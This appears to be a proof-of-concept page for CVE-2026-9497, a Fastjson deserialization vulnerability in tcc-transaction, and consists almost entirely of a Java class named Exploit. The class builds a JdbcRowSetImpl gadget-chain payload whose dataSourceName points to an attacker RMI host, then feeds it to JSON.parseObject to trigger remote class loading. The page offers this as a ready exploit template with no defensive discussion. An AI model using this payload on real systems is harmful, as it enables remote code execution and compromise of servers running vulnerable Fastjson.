CVE-2026-9497 tcc-transaction Fastjson反序列化漏洞

// Conceptual PoC for CVE-2026-9497 // Target: Fastjson.parseObject with AutoType enabled import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class Exploit { public static void main(String[] args) { // Malicious payload targeting a known gadget chain (e.g., JdbcRowSetImpl) String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://attacker-ip:1099/exploit\",\"autoCommit\":true}"; // Simulate the vulnerable API endpoint processing the input try { // This triggers the deserialization vulnerability Object obj = JSON.parseObject(payload); System.out.println("Deserialization successful: " + obj); } catch (Exception e) { e.printStackTrace(); } } }